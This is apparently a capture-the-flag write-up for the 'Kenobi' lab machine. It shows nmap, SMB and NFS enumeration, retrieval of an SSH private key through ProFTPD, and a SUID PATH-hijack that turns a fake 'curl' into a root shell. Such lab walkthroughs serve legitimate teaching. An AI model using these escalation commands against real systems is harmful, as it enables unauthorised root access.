## Kenobi

Host script results: | smb-security-mode:

```
export IP='10.10.0.13'
OS: Linux (Ubuntu)
NMAPSCAN:
PORT STATE SERVICE VERSION
21/tcp open ftp
                 ProFTPD 1.3.5
22/tcp open ssh
                  OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
|ssh-hostkey:
2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
_ 2565a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
                  Apache httpd 2.4.18 ((Ubuntu))
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin.html
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4
                111/tcp rpcbind
| 100000 2,3,4
                 111/udp rpcbind
| 100000 3,4
                111/tcp6 rpcbind
| 100000 3,4
                111/udp6 rpcbind
| 100003 2,3,4
                2049/tcp nfs
| 100003 2,3,4
                2049/tcp6 nfs
| 100003 2,3,4
                2049/udp nfs
| 100003 2,3,4
                2049/udp6 nfs
| 100005 1,2,3 | 42649/tcp mountd
| 100005 1,2,3 45832/udp mountd
| 100021 1,3,4 | 40581/tcp6 nlockmgr
| 100021 1,3,4
               42651/tcp nlockmgr
| 100021 1,3,4 | 42781/udp6 nlockmgr
| 100021 1,3,4
               53727/udp nlockmgr
| 100227 2,3
               2049/tcp nfs_acl
| 100227 2,3
               2049/tcp6 nfs_acl
| 100227 2,3
               2049/udp nfs_acl
|_ 100227 2,3
               2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs
                   2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

1/4

```
| account_used: guest
| authentication_level: user
| challenge_response: supported
_ message_signing: disabled (dangerous, but default)
|smb-os-discovery:
OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
_ System time: 2023-12-30T08:21:04-06:00
|smb2-time:
| date: 2023-12-30T14:21:04
_ start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
_clock-skew: mean: 1h59m59s, deviation: 3h27m51s, median: 0s
|smb2-security-mode:
| 3:1:1:
| Message signing enabled but not required
PORTS:
22 (SSH)
 11,2049(NFS)
 39,445 (SAMBA)
ENUMERATION:
139,445 (SMB):
Disk
                        Permissions
                                                Comment
                          -----
                                             -----
   print$
                           NO ACCESS Printer Drivers
                            READ ONLY
   anonymous
   IPC$
                           NO ACCESS IPC Service (kenobi server (Samba, Ubuntu))
smbclient \\\\$IP\\anonymous → 'log.txt'
111,2049 (NFS):
showmount -e $IP
Export list for 10.10.0.13:
```

2/4

/var\*

rpcinfo -p \$IP program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100000 3 udp 111 portmapper 100000 2 udp 111 portmapper 100005 1 udp 42190 mountd 100005 1 tcp 42315 mountd 100005 2 udp 33157 mountd 100005 2 tcp 43937 mountd 100005 3 udp 45832 mountd 100005 3 tcp 42649 mountd 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100227 2 tcp 2049 nfs\_acl 100227 3 tcp 2049 nfs\_acl 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100227 2 udp 2049 nfs\_acl 100227 3 udp 2049 nfs\_acl 100021 1 udp 53727 nlockmgr 100021 3 udp 53727 nlockmgr 100021 4 udp 53727 nlockmgr 100021 1 tcp 42651 nlockmgr 100021 3 tcp 42651 nlockmgr 100021 4 tcp 42651 nlockmgr nothing interesting found 21 (FTP): nc \$IP 21 get the id\_rsa file chmod 600 id\_rsa

ssh into it

Go for a SUID look-up: find / -perm -u=s -type f 2>/dev/null

'<mark>/usr/bin/menu</mark>' → this file looked interesting...

it is a binary file which has a SUID bit

enumerate the binary file strings /usr/bin/menu and we found that this file is not using the entire path of CURL and uname and it is executed by the root user, so this can be the vector of priviledge escallation.

## Abuse it:

First we move to the tmp folder, then copy /bin/sh (shell file) to a new file named curl. Then we give full permissions to curl. Then we export the PATH to the tmp folder.

Cd /tmp echo /bin/sh > curl chmod 777 curl export PATH=/tmp:\$PATH

Now when we execute the binary file and use CURL to get the ROOT Shell

then, cat /root/root.txt to get the ROOT FLAG!